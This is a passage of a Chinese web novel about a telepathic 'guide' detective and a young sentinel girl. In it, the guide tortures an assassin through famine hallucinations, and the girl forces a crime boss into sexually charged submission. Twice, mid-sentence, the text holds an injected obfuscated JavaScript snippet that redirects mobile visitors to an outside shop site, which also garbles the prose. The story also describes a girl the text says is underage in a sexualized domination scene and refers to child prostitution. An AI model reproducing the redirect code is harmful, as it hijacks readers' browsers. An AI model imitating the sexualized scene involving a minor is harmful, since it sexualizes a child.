因为尼尔森的入侵,这图景正漂浮在一片漆黑的海洋里。海洋之中有一个巨大的金色时钟,逆行的秒针嘀嗒作响。 那是尼尔森在默数认知误导的时间限制,不过他其实并不是很着急。 虽然好多年没动过手,但他太知道如何用幻觉击垮一个人了。 他知道这是位受过反拷问训练的杀手,不像货轮上那个被他烧坏脑子的哨兵那样容易操控。这个男人不惧疼痛和死亡,也不会轻易向恐惧投降,纵然尼尔森可以激活他所有的痛觉神经,让他深陷万箭穿心的折磨,他也一定不会背叛他的主人。 于是离翼水母盘旋着,穿过杀手的耳朵,刺穿他的大脑。它没有刺激他的负面情绪,也没有带给他疼痛,反而散发出阳光般和煦的金色,为他屏蔽掉了感官过载的痛苦。 深海的压力骤然散去,这里变回了摇篮般原始而安全的白噪音。平静和温暖降临杀手的脑海,他的瞳孔在这美好的安抚中变得涣散—— 这是快乐。 杀手意识到,那漂亮的金色丝线传递来的不是压迫,而是快乐。 这久违的快乐正像毒一样流淌在他身体,尽管如今他已是无情的武器,但在很久很久以前,在向导的洗脑也无法根除的潜意识中,他的人生也曾有这样快乐的时候。 赌场里,尼尔森带着微笑俯视着脚边的男人,目光耐心,却绝对算不上温柔。 秒针在海洋中转动,杀手的图景产生了变化。空无一物的房间里出现了几个穿着朴素的人,一对夫妻和三个孩子。他们面容模糊,只有一个男孩还算清晰。他很瘦,看起来不太健康,但他已经快比他的父亲更高了。 桌上的空盘里现在盛满了食物,那是烤饼和一大锅炖蚕豆。这种传统的菜肴中有黑胡椒,洋葱,蒜头和橄榄油,经过长时间焖煮炖得软烂,尽管全是素食,香料的味道依然沁人心脾。 高瘦的男孩和大家一起坐在餐桌边,吃着蘸着软烂炖菜的烤饼,他的快乐和食物的香气一起漂浮在房间里,也漂浮在金眼睛向导的手心之中。 尼尔森推了推平光镜。他知道这里。 这个地区是隔壁瑟玛公国的南方国境,桌上唯二的食物都是那里的特色。这里一直算不上富有,但朴实的人们对生活也没有什么怨言,直到—— 向导看向外面干涸的那条河流。 那时候他还小,战争也才结束没多久,但他知道这个报道。由于气候的剧烈变化,那条曾经有沼泽鳄活动的河流在汛期反而陷入极端干旱,农作物颗粒无收。但瑟玛公国不顾战后的萧条,依然投入大量资源与奥西恩王国竞争,无视自己边境小城的困境,最终造成了饥荒。 那时焦阳在天,而饿殍遍地,惨绝人寰。 原来如此,难怪这个人最快乐的时候是吃饭的时候。 时钟继续走动,尼尔森的笑容变深了。 那么就继续吃吧。 烤饼的香味和炖蚕豆的口感似乎比以往都要更好,味蕾上跃动的满足感叫人胃口大开。高瘦的男孩大口地吃着,吃着,这顿简单的午餐也像是根本吃不完一样一直满满当当的放在桌上。他吃啊吃啊,直到他的脸颊感到酸涩,舌尖麻木,直到他咽下的食物堵住了他的咽喉,直到面目模糊的家人们都停下来,静静地看着他…… 但他好像还是没有吃饱。 不对,不是没有吃饱,而是越来越饿。 在快乐和满足中,一种惊慌如同镜中的鬼影陡然升起。男孩的身体抖了一下,开始疯狂地将食物塞进嘴里。 他想起了一种可怕的东西,一种即使经过训练和洗脑也无法消抹的恐惧。那是他的一部分,是他灵魂永远的缺口。 那是正在他胃里扩散的饥饿。 房间开始变热了,是干旱来了。他明明一直在进食,可饥荒还是降临了。他看见他的家人们饿死在餐桌边,干瘦的尸体散发出沉淀的死气,和炖蚕豆的热气一样让人头晕目眩。 男孩一边干呕一边吃着烤饼,像是在通过这种方式进行一场逃亡。他想起那时生不如死的疼痛,虚弱,水肿的手脚和头顶的太阳。他拼了命地吃,但他还是饿,还是饿…… 就在这时,他发现烤饼和炖蚕豆终于被自己吃光了。 男孩愣在原地,饥饿追上了他。他的胃变成了一个活物,从内开始啃食他了。 恐惧开始在这个冷漠的杀手心中浮现。 他恐惧饥饿胜过死亡。 这不对,杀手隐约记得自己应该是逃出了那绝望的饥荒。他的家人都饿死了,他走不动路,凭意志力一路靠爬行和吞下泥土到了另一个城市。然后他觉醒成了哨兵,他变得很强,有了富有的雇主,他拼命完成雇主的任务,酬金让他从此不再挨饿。 但他逃不出尼尔森对他感官的支配,逃不过尼尔森迫使他身体产生的‘饥饿’。 杀手的精神世界里,尼尔森愉快的样子叫人毛骨悚然。他看着那孩子茫然无措地看着空盘子,一再加深他的饥饿和贪婪,直到他伸出手,拉过父亲的尸体,生出鳄鱼的利齿,开始撕咬上面的血肉…… 所以一定要小心向导。一旦他知道了你最好的美梦,他也就知道了你最深的恐惧。 “我有三个问题要问你。” 精神世界的时间流速和现实不同。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356965|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时钟进入十秒倒计时时,尼尔森好整以暇地拿着一块蘸着炖蚕豆的烤饼,出现在了杀手的精神图景中。 啃食完尸体的男孩满嘴是血地倒在地上,饥饿还是萦绕不散,他已经没有任何力气,只能转动眼珠,去看那个像喂狗一样蹲在他旁边的风衣男。 他不可以回答任何问题。他受过训练。 可食物的香味让他的胃剧烈地痉挛。 “第一个问题,”那烤饼移过来,停在他的鼻子前,他作为哨兵的感官几乎是在尖叫着告诉他这味道闻起来有多好,“那些哨兵为什么会暴走?” 杀手咽了咽口水。他听见自己解释了那能挥发成气体的药物的作用,但具体的原理他并不清楚,这是雇主给他的。 “很好。”那男人说,一种期待感鞭打在杀手脊柱,让他抖了一下。烤饼离他更近了,就在他的嘴边,他张开嘴,却怎么也咬不着它。 “第二个问题,你的雇主是谁?” “啊……啊啊……” 唾液淌出杀手的嘴角。 他不能说。 “不愿意说吗?”男人的声音带着笑意,“那好吧。” 他移开了烤饼,杀手感到饥饿像是要将他吞噬的野兽那样咆哮。与此同时,他的味觉中开始浮现出一种恶臭,那是尸体的味道,他想吐,可空荡荡的胃吐不出任何东西。 于是那个年幼的,饥荒的他将成年的他开膛破肚,从他身体里爬出。他不再是杀手,他只是一个饥饿的孩子。 “不要走!”这孩子喊道,“我说……你拿回来!把吃的……拿回来!” “萨诺斯……我的''主人''是萨诺斯.卡佩!” “嗯……塔的高层里好像没这号人啊。真可惜,你不是和塔直接联系的啊。萨诺斯……这是个希腊的名字?” 男人自言自语地思考,直到想起还有一个问题没问,烤饼才如约回到了杀手面前。 “对了,虽然我并没有很关心这事儿吧,但贫民窟里跳楼的那个叫艾兰的小孩,是你逼死的吗?” “不是我,虽然我被命令要把他们的死亡伪装成意外,但我到那里的时候他已经死了……!”杀手紧紧盯着食物,“而另一个小孩有人陪着……所以我才跟着他到了赌场,我——” “行,我知道了。” 拿着烤饼的男人打断了对话。在他身后,时钟指针归零。 他说:“享受你的烤饼吧,拜拜~”然后笑着将烤饼扔在了杀手永远碰不到的,只有一厘米之外的地面。 现实世界的赌场里,倒在尼尔森脚边的杀手突然发出了凄厉的惨叫。 一分钟已过,如梦初醒的罗亚利不知道发生了什么,只看见那穿风衣侦探对着满脸痛苦的杀手面带笑容,看起来没有刚刚那么疯狂,却让男孩莫名害怕。 什么啊……他这是干了什么啊…… 男孩愣愣地看着两人,他从那个杀手的脸上读出了被逼疯的绝望。他们的动静甚至引来逃命的路人和暴走哨兵的侧目,但尼尔森似乎根本就不怕哨兵的袭击,他愉快地看着那先前还所向披靡的杀手从惨叫变成哭喊,像是在欣赏一件满意的作品,任由暴躁的哨兵向他举枪—— “砰!” 然后哨兵的手被打穿了,一个纤细的身影自挑高层从天而降,直接落在杀手背上,把他砸晕了过去。 赶来的莱蒂斯单手扛着Papa,轻轻皱了下眉:“发生什么了,尼尔森,这里怎么这么吵?” “啊,莱蒂斯,很高兴看见你没事!”得意忘形的尼尔森脸上还带着血痕,他看着绿眼睛的小姑娘,高高兴兴地张开双臂,“我把那家伙搞定了,来个拥抱吗?” 很可惜,侦探先生没有得到拥抱。下一秒,这一分钟内逼疯杀手的男人忽然被一股巨大的力量给撞翻在了地上。一只北美灰狼压住他,一口咬住了他脸颊。 ……啊? 忘乎所以的尼尔森瞬间清醒了。 糟了,莱蒂斯这是发现他刚刚在精神图景里干了坏事,要把他头咬下来了? “尼尔森,你没事吧?被杀手吓得腿软了吗?” “啊哈哈……我没事……不是,我哪有那么胆小啊!” 直到莱蒂斯歪着头靠过来,一本正经地关心他,这心虚的向导才反应过来,咬合力高达317公斤的北美灰狼轻轻咬住目标脸颊的行为,其实就是种表示亲密和友好的一大口啾咪而已。 76. 第七十五章 ‘因珀瑞恩’的第十七层,罗亚利用‘基路伯’的匙卡刷开了一间空着的小型私人式赌场。 “莱蒂斯小姐,我好害怕。” 门一关上,罗亚利就委屈地说道。他紧紧抓着卫衣过长的袖摆,漂亮的脸上带着孩子的稚气和不安。即使你知道他只是一个自私又疲于奔命的童妓,也很难不去怜惜他那隐约泛着泪光的紫色眼睛。 那时尼尔森刚从豪华的冰箱里薅出来个巨甜的布朗尼巧克力冰淇淋,莱蒂斯也才把Papa扔地上。罗亚利跑上前去,扑进莱蒂斯怀里,瘦削的肩膀还在微微发颤,像只受惊的小兔子。 莱蒂斯一愣,下意识把握枪的手抬高,显然没有面对这种场面的经验。作为一个性格认真的警员,她一板一眼地对小孩道歉:“对不起,让你们陷入危险了。” “我没有在怪莱蒂斯小姐的意思……”罗亚利可怜兮兮地看着她,几乎是在直白地引诱她做些什么,“只是那个杀手太可怕了,我以为自己会死……你可不可以抱抱我——” 莱蒂斯说:“不。” 罗亚利:“?” “不能不怪我。”下一秒,男孩听见莱蒂斯严肃地反思道,“这确实是我的失职,我被敌人的精神图景困住太久了。” 然后他就这么维持着一个暧昧的姿势,听她一本正经地复盘了整场战斗,包括敌我双方优势劣势,破局关键和己方纰漏,哨兵向导配合打法的响应速度,战术战略优化方向和以后的训练方针…… “所以,我对精神动物和精神图景的驾驭还欠佳,需要进一步深化……总之,罗亚利,我还是一个不成熟的哨兵,但下次我一定会避免这些问题,尽量保护你们的安全。” 最后,莱蒂斯结束汇报,给了罗亚利一个拥抱,抱得正气凛然,抱得礼贤下士,抱得罗亚利下意识放开了她,甚至有点想给她敬个礼。 等等,不对,我想要的不是这个啊! 经验丰富的罗亚利觉得自己心中有什么碎掉了。而莱蒂斯想起刚汇合时尼尔森的模样,思考几秒后恍然大悟:所以尼尔森确实也和罗亚利一样害怕了,才会突然想要拥抱吧。 “你果然是被杀手吓到了。”莱蒂斯肯定地对正在嘲笑罗亚利的尼尔森说,她带着‘你好弱啊怎么和十四岁小孩一样’的怜悯,踮起脚伸出手,也抱了一下侦探,“没关系,你也很努力了,辛苦了。” 如愿以偿获得小姑娘拥抱但不知道该不该高兴的尼尔森:“?” 完全没想到这一出不知道该做什么表情的罗亚利:“?” 倒在十楼眼神涣散精神崩溃的杀手:“…………” 他若泉下有知,爬也要爬到十七楼来血书一个问号。 “呵呵,真是温馨啊。”就在这只有莱蒂斯独自正直的古怪氛围中,一个优雅的声音打破了沉默。 双手被铐在身后,人还侧躺在地上的Papa皮笑肉不笑地说:“亲爱的小姐,我会不会也能分到一个拥抱呢?” “老兄,我建议你先担心自己会不会死。”尼尔森叼着巧克力雪糕,对这个同样老谋深算的向导说话,“实不相瞒,我已经知道了我们想要的情报,你现在对我们来说什么用都没有,我也不知道为什么莱蒂斯坚持要把你带着——莱蒂斯,我们为什么还带着这家伙来着?” “因为我有价值,”Papa替莱蒂斯回答道,他的目光迎上尼尔森,看起来狼狈但又志得意满,“因为我能做到的事情,你做不到,而你的哨兵又太善良,太愚蠢,在乎的事情太多,所以她需要我……” 说到这里,Papa咧开嘴角。尼尔森熟悉那样的表情,那是他们这种向导掌控他人时的愉悦。 “……啧。” 就这么一瞬,侦探瞳孔中的金色忽然明亮起来,如同猛然窜起的火光。一种不太熟悉,也不太理智的愤怒使他扯出冷笑—— 就凭‘你’也想掌控‘我的’哨兵? “别急,这位我不屑于知道名字的先生。”Papa说,他的领带蜿蜒在地上,像一条毒蛇,“你用感官抑制剂封印了我的能力,可那又怎么样呢?在来找你们的路上,我和她达成了交易,她得在这里保护我,陪伴我,直到感官抑制剂失效。” “作为回报,我会利用我大范围控制情绪的能力来平息赌场十层无差别的袭击,并且——” “并且,他会给我所有‘基路伯’的信息。”就在尼尔森和Papa剑拔弩张时,莱蒂斯伸手拦在了尼尔森身前。 少女的情绪有点低落,因为她习惯的方式这次并不奏效:“我本来想直接揍到他听话为止的,但他不怕我。” “他说只要他扛到抑制剂失效,他就能召集安保反抗。休伯特大叔跟我说过,审问的人如果不相信自己是绝望的,就不会配合……我没办法保证在他能力恢复前审出所有情报,只能和他''交易''。” “别阻止我,尼尔森。‘因珀瑞恩’有针对童妓的完整产业链,我没办法放着这件事情不管。我知道我救不了所有孩子,但如果我知道了他们的名字和去向,就会有救下他们的‘机会’。” “别信这种来历不明的奇怪大叔啊,莱蒂斯。这交易不划算,咱们还是跑单吧。”来历不明的奇怪大叔尼尔森说,他的金瞳平息下来,有些无奈地按下莱蒂斯的手腕,“‘机会’只是一种可能性而已。也许到了最后,你连一个孩子都救不了。” 可莱蒂斯墨绿的眼睛干净得像是毫无杂质的翡翠。她说:“还没到最后呢。” “……唉。” 尼尔森叹气。他和莱蒂斯认识好像也没过多久,但他已经想不起来自己什么时候开始就对她坚持的事情没辙了。他能感觉到Papa欠揍的洋洋得意,而罗亚利正拼命压抑他心中复杂又奇怪的情绪。那男孩在对峙之外,小小声地重复了一句莱蒂斯的目标。 “救……基路伯吗……” 他相信莱蒂斯说到做到,心中的感情却并不温暖,不太像在是因为莱蒂斯想救他的同胞而动容。震惊之外,他只是在悲伤和不甘,还夹杂着不知道针对谁的嘲讽。 尼尔森不知道罗亚利究竟为何如此,可即使这样,顶级如他这样的向导,还是感觉到了一点点微乎其微的,自男孩麻木魂灵中复生的真心。那是一种想要靠近她的钦慕。 莫名的,侦探觉得这些情绪有点吵到他了。 “哈哈哈,”偏偏此时,地上的Papa还吵嚷着笑道,“你瞧,我就说你的哨兵是个白痴。从她护着罗亚利那小子开始,我即使没了共感的能力,也能知道她究竟愚蠢到了什么地步。” 算了,既然她想要名单,那就陪她要到手吧……尼尔森看着莱蒂斯剔透的绿色眼睛想,然后突然抬起腿,照着Papa的脸上就是一脚。 “别等了莱蒂斯,反正这老流氓恢复之后也肯定会马上利用他能力控制然后召集一群哨兵堵门来干我们的。”尼尔森凶狠地咬着雪糕说,“这种人说话根本一句都不能信。” 唉,他本来不想提这件事的,但是:“莱蒂斯,你知道向导对哨兵服从本能吗?” “嗯。布列塔尼小姐讲过。出于生理结构和社会教育,向导会下意识想辅助和服从哨兵……尤其是评级较高的哨兵。据说这算是某种意义上的自然选择,更强的哨兵会更值得向导辅助。” “但这一点是可以克服的。自从首席柯林斯建立向导之家后,向导就开始受训稳固自我意志。如果向导的精神力足够强大,甚至完全不会受到这种本能的影响……” “正确。你在圣所的时候笔试成绩应该很好。”尼尔森一拍手,“那么莱蒂斯,如果我告诉你,向导们对你的服从本能特别强烈呢?” “唔……”小姑娘眨眨眼,显然不太相信,“我吗?” “对。之前在货轮上就有个向导想……呃,辅助你。”尼尔森想起那个向导瘫软着喘息的样子,斟酌出了一个含蓄的词语,“只不过你当时在找卢娜,没注意到他而已。” “她吗?”地上的Papa发出了同样的疑问,他嘲笑道,“噢先生,我不知道那个所谓货轮上的向导是个什么货色,但你不会是在指望这么个都还没成年的小丫头,能对我这个能控制三十层大楼的向导产生什么影响吧?” 尼尔森没理Papa。他问莱蒂斯:“你想试试吗?” 说实话,尼尔森并不喜欢自己这个提议。谁会想让自己的哨兵主动去接触另一个善于蛊惑人心的向导呢?他不知道莱蒂斯能不能成功,或者说,不知道莱蒂斯需要做到什么地步才能成功。如果Papa那家伙要借机引诱莱蒂斯的话,他宁可拿出宝贵的一分钟去把这家伙脑子扔进深海里扭一扭碾一碾泡一泡。 只是突如其来地,侦探想起那些因为药物暴走的哨兵们,还有穿着白色小礼裙的莱蒂斯在货轮上向自己走来的样子。她那时比他们任何一个都要更加痛苦,更加煎熬,同时也更加的……坚不可摧。 寻常的哨兵没有向导疏导的话早就该疯了,他们永坠深渊,万劫不复。 但她是清醒的。她在深渊之上俯视着一切,犹如永不坠落之晨星。 她似乎根本不需要向导。 但那些向导,他们渴望她。 世界上只有一种哨兵能够做到这种事,而这个猜想让尼尔森感到冰冷和炽热的电流同时流窜在他脊柱。 就在这时,莱蒂斯用问句回答了他:“我应该怎么做?攻击他的腺体吗?” “呃……这确实是个比较直接的方法。腺体是向导的弱点,但我们一般不把这种做法称为‘攻击’。”尼尔森因为小姑娘单纯又暴力的用词抽了抽嘴角,也许他确实不该跟莱蒂斯提起这件事的,“考虑到你上次的情况,你可能需要降低你的感官屏障来给他施压,但触碰向导的腺体一定程度上也会让哨兵感觉到满足,别被他牵着走。” “唔,满足吗……?如果能直接揍他的话也许会让我感觉更好一点吧。”莱蒂斯认真地思考起来。她抓住Papa的头发,把他从地上拉起来,狼一样的绿色瞳孔逡巡着,定格在男人被骷髅纹身覆盖的颈部。 “哈哈,还请您尽管尝试。”Papa背靠墙壁坐着,好整以暇,甚至还故意歪了歪头,向莱蒂斯露出脖颈。 “我给您这个机会,不算您违约。至少在抑制剂代谢这段时间,我们都能过得开心些……”男人眯起眼睛,从容不迫地看着小姑娘纤细的手指伸向自己的后颈,“不过您可得小心些啊,亲爱的莱蒂斯小姐,别是您自己先——呃!!!” 少女微凉的指尖轻轻按在了他的腺体上,男人带笑的声音戛然而止。 “哈……啊……?” 他发出两声茫然的喘息,骤然缩紧的瞳孔在眼眶中剧烈颤动。先前对莱蒂斯无端的警惕突然返回他脑海,他感到那幻觉一般的幽灵变成了真实的,可怖的怪物。 不不不不不不…怎么可能! 拒绝在Papa的身体里炸裂开来,铺天盖地,犹如雪崩。莱蒂斯天真的善良让他忘记了他曾经不敢亲手给她注射感官抑制剂的直觉,让他以为她是一个容易掌控的对象,于是他付出了代价。 为什么……不是这样的……不应该是这样的……绝对不能是这样的……! Papa的本能尖叫着,但他的喉咙发不出任何声音,他不敢发出任何声音—— 贴上他身体的根本就不是什么哨兵暧昧的触碰,而是狼的獠牙! 那尖锐的,致命的,独属于野兽的利刃就是这么伴随着莱蒂斯蜻蜓点水般的一碰,将最纯粹的恐惧和支配深深刺入了Papa的腺体,然后猛地一扯,把他从内而外地撕裂了。 原来Papa也会有这种样子。罗亚利想。 男孩站在莱蒂斯身后,抽离在整个事件之外,旁观着这幅景象。 那个高高在上,掌控一切的Papa先是浑身紧绷地虚张声势,叫嚣要终止和莱蒂斯的交易,不仅绝不交出任何一个‘基路伯’的信息,还要把他们全都抛给最脏的红灯区。可他胸腔的起伏是那样剧烈,根本藏不住细碎的喘息,莱蒂斯的手也更用力地掐在了他的腺体,他的眼眶一瞬间就红了。 这是完全单方面的碾压,Papa很快失去了组织完整语言的能力。他们唯一接触的地方就是她的手和他的腺体,高热和电击般的感觉却一次次鞭笞在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356966|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体各处。他颤抖着,试图反抗,大脑却传来一阵阵失血般眩晕。 “等一下,等一下……莱蒂斯!小姐!”他口不择言,“我可以跟你谈……哈……不,等等,停下!” 在几下痉挛之后,男人的声音突然拔高,身体却忽然瘫软下去。汗水和一些别的液体浸出他身上服帖的高级西装,他惊恐地看着那些完全失控的水痕,仿佛分不清那是无色的液体还是自己的鲜血。 而莱蒂斯似乎不明白发生了什么,当男人因为下意识的羞耻想要合拢双腿时,她只误以为那是某种攻击的预备,于是一脚踩在他的腿根,遏制住了他的行动。 “够了,不要,不要再……放开我!放开——呃……啊啊……”Papa本来垂着头,这下因为又疼痛猛地扬起脖颈,动作之剧烈几乎要将自己折断。几滴汗水顺着他发尖甩到空中,他狼狈不堪。 罗亚利感到一种报复的爽快。他觉得自己也许应该嘲笑Papa,可当他想握住这种愉快时,它却滑向了自己心中无尽的空洞。 就在这时,Papa涣散的瞳孔捕捉到了他。 “罗亚利……罗亚利!”男人似乎猛地清醒过来,挣扎变得剧烈,手铐也发出一阵响声,“罗亚利!让她停下来!你是‘天堂’的一员,你知道这样下去的后果!哈啊……快阻止她!” 闭嘴吧,混蛋,别说了。罗亚利想。他只要在面对这个人时就会害怕,但他听见自己冷笑着回答Papa:“我为什么要帮你?” “因为你需要天堂!你这该死的基路伯!你依附’天堂‘而生!” “Papa……我从来不需要天堂。”男孩蹲下去,看着他,紫色的双瞳像是场剧毒的幻梦,“我宁可下去地狱。” “呵呵……哈哈哈……你不需要天堂?你这忘恩负义的家伙,狡诈的天使……!”Papa咬牙切齿,然后突然笑开了。他终于明白了,这小子捅了大篓子,已经准备破釜沉舟。由于他和罗亚利特殊的关系,他本不想对外人提起''天堂''内部的事情,但事到如今,他也不需要再遵守''庇护''罗亚利的约定了—— “罗亚利啊,难倒我还不够袒护你吗?我问你,如果你真的不需要天堂,为什么会主动来‘因珀瑞恩’寻求我保护?!” 愤怒遏制住了Papa的喘息,却让他看起来更加疯狂了。他对罗亚利的恨意与被一个女孩支配的羞辱混杂在一起,成了某种迷离的亢奋感,让男人不顾一切地滔滔不绝起来: “哈哈,他们不知道对不对?他们可被你耍得团团转……你敢告诉他们吗?你敢告诉他们你身上还背了条人命吗?你这个低贱又自命不凡的家伙,你杀了你贫穷的客人——那个叫艾兰的孩子的父亲,然后被黑手党追杀,是你主动去找荷官,赢了牌局,来‘天堂’见我的!” “我没什么不敢告诉他们的?”罗亚利回答,他就知道Papa会说的。 男孩没有被戳穿的慌乱,反而有点如释重负:“对啊,我不堪接待那些贫民窟的客人,忍无可忍杀了那个让我恶心的家伙,怎么了?做皮条客生意的黑手党要杀我,但我爸从小就把我卖了,我除了出卖身体别无所长……最后,我想到了‘天堂’,只有来这里,黑手党才不敢动我——这些我本来就打算在逃出去之后告诉他们的。” “还有我们漂亮的小艾兰,”Papa的脑子在高热下混乱一片,他根本听不见罗亚利在说什么了,声音却还阴狠,“你有没有告诉他们,那个脑子不灵光的小天使其实是个惯偷,被你带来‘因珀瑞恩’躲黑手党了,都还管不住手。要不是我看上了他的脸给他个做‘基路伯’的机会,他的两只手都已经被砍了——!” “……” 罗亚利心绪一动,移开了目光。 “哈啊……你们……根本就不值得花力气去救。”Papa仰起头,脸上泛着不自然的红。他有些兴奋,又有些讨好地看向莱蒂斯,服软地通过腺体向这年轻的哨兵释放起信息素来,“所以够了吧,可以了吧,让这些自甘堕落的家伙自生自灭吧莱蒂斯小姐,求你……不要这样,放开我——” Papa没能说完话。 在他朦胧的视线里,一双绿色的瞳孔有如鬼火般清晰又冰冷。 那是莱蒂斯的目光,那是狼的眼睛,讨好这样的一双眼睛是不会有任何结果的。从头到尾,陷入热流的只有Papa自己。 莱蒂斯单脚踩在他腿上,一手掐着他的脖子,一手随意地搭在膝盖,模样冷静得漠然。她黑色的碎发因为俯视的角度垂下,脸上甚至一滴汗水都没有。她是那样专注,又那样无情,比起一个正在支配向导的哨兵,更像是一个正在切除肿瘤的医生。 少女指尖的力道再次加深,她说出了这漫长折磨中唯一的一句话: “他们值不值得拯救,你是最没有资格评判的那个人。” “不……别……莱蒂斯小姐,我帮你控制那些暴走的哨兵,我答应你!但是名单我真的不能给你,顾客会杀了我……我,我……不要,求你,求你——!” 男人的喊叫再也没有停下来过。 时间似乎过去了很久,又似乎只有几个一闪而过的瞬间,最终,Papa炽热的身体深处涌动起空虚的寒意。热和战栗的背后,恐惧依然鲜明,他没办法阻止自己的身体对触碰给出反应,即使这反应已经只剩下纯粹的痛苦。 他一遍一遍向她妥协,一遍一遍向她求饶,但狼还是撕咬开他的身体,直到他的嗓子在干咳中失声,神智彻底迷失在风暴。混沌的深处,他感到整个人都融化成了粘稠的蜡,而后颈那诱发一切的罪魁祸首,反倒是他唯一的支撑。 男人浑身瘫软,被汗水打湿的短发遮住他眼睛。 “求你……不要……” Papa呢喃着。如今他终于明白,他唯一还能感受到的东西,唯一所能依靠的东西,唯一身心渴求的东西,都只有一样而已。 “我答应你,我会……辅助你,听从你,我会……为你做任何事。但是求你……” 他用尽全力,偏过头,本能地,顺从地贴上了莱蒂斯的手—— “求你,不要放开我。” 77. 第七十六章 Papa带他们走了只有他能走的通道和电梯,避开人群,去了他的办公室。 和前不久的气定神闲不同,现在的Papa脸色潮红,腿软得站都站不住。这个男人这辈子恐怕从没在这座大楼里如此狼狈地行走过,莱蒂斯却再也没有理过他。 在他向莱蒂斯哀求不要放开自己之后,少女就果断收回了手。Papa瘫坐在地上,听她冷声重复了一遍要求,而尼尔森递给她张餐巾纸,声线不太自然地问她感觉怎么样。 “唔……感觉吗?”莱蒂斯若有所思擦掉指尖上Papa的汗水,“我感觉这样不太好。” 少女脸上还带着擦伤,但神色干净清爽,没受到半点向导热潮的影响。对于自己刚刚的所作所为,她评价道:“原来这就是哨兵对向导的压制,没想到居然是单方面的,和书上讲的完全不一样……抱歉,尼尔森,看到这个让你很不舒服吧,毕竟因为生理上弱势的本能不得不屈服对向导来说很不公平。我不太喜欢这种欺负人的感觉,以后还是公平公正地用拳头把人打服气比较好……尼尔森?尼尔森,你怎么了?” “我没怎么。”在她旁边,尼尔森正单手捂脸,手背崩得死紧,看不见表情,“确实,你说得对,还是用揍的好,我宁愿被你揍……” Papa那样子太糟糕了,他不敢想象自己在莱蒂斯面前露出那种表情的模样。 侦探声音逐渐变小,欲言又止,止言又欲,但最终还是没有把那句话说出口: 莱蒂斯,你有没有想过,书上讲的是对的,哨兵的向导的压制本来就不应该是单方面的啊! 把向导的精神屏障揍到崩溃的方法另当别论,被哨兵接触腺体的向导其实是有机会反抗的。哨兵与向导的腺体都是为结合而存在的特殊器官,由于‘结合’是将哨兵与向导的精神双向链接的行为,在直接接触向导的腺体时,哨兵也可能被向导影响。 尤其是在面对比自身更强的向导时,哨兵不仅容易出现生理反应,精神更是可能一不小心就被向导牵着走,比向导更早坠入热潮的漩涡。 尼尔森虽然对莱蒂斯的强大有一定预估,但也做好了随时介入的准备。只要有一点不对劲,他就会立马动用一次认知误导的机会把Papa拉到海底两万里去。好在他担心的事情并没有发生,他的哨兵不仅完全没受到另一个向导的影响,还轻而易举就解决了对方,真好—— 好什么好啊!这不对啊!这完全不对的啊! Papa这家伙虽然不具备认知误导的能力,但对情绪的操纵已经炉火纯青,甚至远在尼尔森之上。这个男人的共感力足以覆盖一栋三十余层的大楼和花园,具体能操纵的人数尚不清楚,但肯定也不少。尼尔森仗着自己强,不觉得他有多厉害,但客观来讲,这种程度的精神力再怎么也达得到A级天花板,甚至够得上S级了。 莱蒂斯刚刚就在他眼前,在不受任何影响的情况下,随手让一个这种级别的向导对她服从了。 Papa情难自已,浑身湿透,尼尔森却只感觉游轮上无数双狼的眼睛再次浮出,正越过记忆与现实的鸿沟将他注视。 所有的一切都指向一个答案。 不受向导影响,不需要向导辅助,不会在信息流中迷失,永远保持理智。对哨兵的压制,对向导的掌控,还有那一旦能够实体化,必将所向披靡的狼群—— 一个时代只此一位的,绝对的领袖。 传说中的黑暗哨兵。 尼尔森忽然不知该作何感想,他听到耳边响起一阵自内而外的空泛嗡鸣,像是他的本能正在拉响警报。她还年轻,她还天真,她还觉醒不完全,但她将来会变成怎样的一个怪物,他已经看到了端倪。 但一股热流涌动在侦探的心脏,他并不想退缩。 尼尔森是个足够聪明,足够执着的人,他本来就隐约有着这样的预感,甚至也在主动寻求这样的答案。他既然说过他绝对不会对莱蒂斯放手,那么他也绝对不会因此就放弃。 只是真相突然横呈在眼前时,这居心叵测的重罪犯向导看着别无杂念的莱蒂斯和在情热中崩溃的Papa,突然意识到一个问题: 如果有一天想跑的是他,那他真的还能从这个小姑娘手里逃掉吗? “啊啊……” 尼尔森轻声叹息。他的身体发烫,耳尖通红,甚至有点手足无措。 有件更麻烦的事情发生了。 他发现自己心中除了滔天的危机感之外,还有种怎么压都压不下去的感情。它像深海底部裂溢着岩浆的海底火山一样,执拗地,炽热地往外冒。 这下可怎么办啊…… 除了恐惧,他居然还在为莱蒂斯感到自豪。 尼尔森努力忽视莱蒂斯那边传来的疑惑,欲盖弥彰地把脸捂得更紧了。 他这种人精当然清楚,目睹一个怪物把一个和自己相似的向导轻易摧毁,觉得危险是正常的。 但是看见一个怪物把一个和自己相似的向导轻易摧毁,还觉得我家小姑娘就是厉害,这才是明晃晃要完蛋的前兆啊! 还好莱蒂斯不太懂他的心思,而罗亚利在Papa说完那些话后,似乎就陷入了他自己的世界。尼尔森独自头疼了一路,甚至想跳进精神图景给自己降温,直到Papa拿出了一个保险柜里的笔记本,他乱得像是口袋里的耳机线的脑子才重新开始运转。 